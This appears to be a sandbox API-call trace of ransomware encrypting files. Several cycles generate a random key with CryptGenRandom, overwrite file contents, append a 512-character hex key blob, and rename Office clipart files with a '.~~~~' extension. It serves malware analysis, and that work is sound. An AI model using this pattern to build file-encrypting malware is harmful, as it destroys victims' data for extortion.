	[0112.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0112.599] GetLastError () returned 0x0
	[0112.599] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0112.601] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0112.601] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0112.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0112.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.601] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23259102140) returned 1
	[0112.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xacb75c90, dwHighDateTime=0x1d60e1e)) 
	[0112.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0112.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830288
	[0112.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0112.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830288 | out: hHeap=0x300000) returned 1
	[0112.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0112.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29caaa8
	[0112.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2832c70
	[0112.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.602] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0112.602] GetLastError () returned 0x0
	[0112.602] GetLastError () returned 0x0
	[0112.602] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0112.603] GetLastError () returned 0x0
	[0112.603] GetLastError () returned 0x0
	[0112.695] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffacd8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.695] WriteFile (in: hFile=0x13c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x5328, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x5328, lpOverlapped=0x0) returned 1
	[0112.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.697] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.697] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.697] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.697] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.697] CloseHandle (hObject=0x13c) returned 1
	[0112.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.697] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf.~~~~")) returned 1
	[0112.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0112.699] GetLastError () returned 0x0
	[0112.699] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0112.700] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.700] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0112.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.700] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23269044355) returned 1
	[0112.700] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xacc5a4d0, dwHighDateTime=0x1d60e1e)) 
	[0112.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0112.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830410
	[0112.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830410 | out: hHeap=0x300000) returned 1
	[0112.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2832d08
	[0112.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.701] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0112.701] GetLastError () returned 0x0
	[0112.702] GetLastError () returned 0x0
	[0112.702] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0112.702] GetLastError () returned 0x0
	[0112.702] GetLastError () returned 0x0
	[0112.704] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffcc80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.704] WriteFile (in: hFile=0x13c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x3380, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x3380, lpOverlapped=0x0) returned 1
	[0112.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.705] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.705] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.705] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.706] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.706] CloseHandle (hObject=0x13c) returned 1
	[0112.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.706] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf.~~~~")) returned 1
	[0112.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0112.707] GetLastError () returned 0x0
	[0112.708] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0112.709] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.709] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0112.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.710] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23269971763) returned 1
	[0112.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xacc80630, dwHighDateTime=0x1d60e1e)) 
	[0112.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0112.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830448
	[0112.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830448 | out: hHeap=0x300000) returned 1
	[0112.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2833130
	[0112.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.710] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0112.711] GetLastError () returned 0x0
	[0112.711] GetLastError () returned 0x0
	[0112.711] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0112.711] GetLastError () returned 0x0
	[0112.711] GetLastError () returned 0x0
	[0112.714] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff96e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.714] WriteFile (in: hFile=0x13c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x692, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x692, lpOverlapped=0x0) returned 1
	[0112.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.715] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.715] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.715] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.715] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.715] CloseHandle (hObject=0x13c) returned 1
	[0112.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.715] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf.~~~~")) returned 1
	[0112.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0112.716] GetLastError () returned 0x0
	[0112.717] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0112.719] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.719] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0112.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.719] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23270918511) returned 1
	[0112.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xacca6790, dwHighDateTime=0x1d60e1e)) 
	[0112.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0112.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830480
	[0112.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830480 | out: hHeap=0x300000) returned 1
	[0112.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28331c8
	[0112.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.720] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0112.720] GetLastError () returned 0x0
	[0112.720] GetLastError () returned 0x0
	[0112.720] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0112.721] GetLastError () returned 0x0
	[0112.721] GetLastError () returned 0x0
	[0112.724] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffd7d4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.724] WriteFile (in: hFile=0x13c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x282c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x282c, lpOverlapped=0x0) returned 1
	[0112.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.726] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.726] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.726] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.726] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.726] CloseHandle (hObject=0x13c) returned 1
	[0112.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.727] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf.~~~~")) returned 1
	[0112.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0112.728] GetLastError () returned 0x0
	[0112.728] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0112.730] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.730] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0112.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0112.730] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23272027964) returned 1
	[0112.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xacca6790, dwHighDateTime=0x1d60e1e)) 
	[0112.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0112.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0112.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0112.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28304b8
	[0112.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28304b8 | out: hHeap=0x300000) returned 1
	[0112.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2833260
	[0112.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.731] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0112.731] GetLastError () returned 0x0
	[0112.731] GetLastError () returned 0x0
	[0112.732] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0112.732] GetLastError () returned 0x0
	[0112.732] GetLastError () returned 0x0
	[0112.843] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffdef8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.843] WriteFile (in: hFile=0x13c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x2108, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x2108, lpOverlapped=0x0) returned 1
	[0112.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.861] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.866] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.866] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.866] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.866] CloseHandle (hObject=0x13c) returned 1
	[0112.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
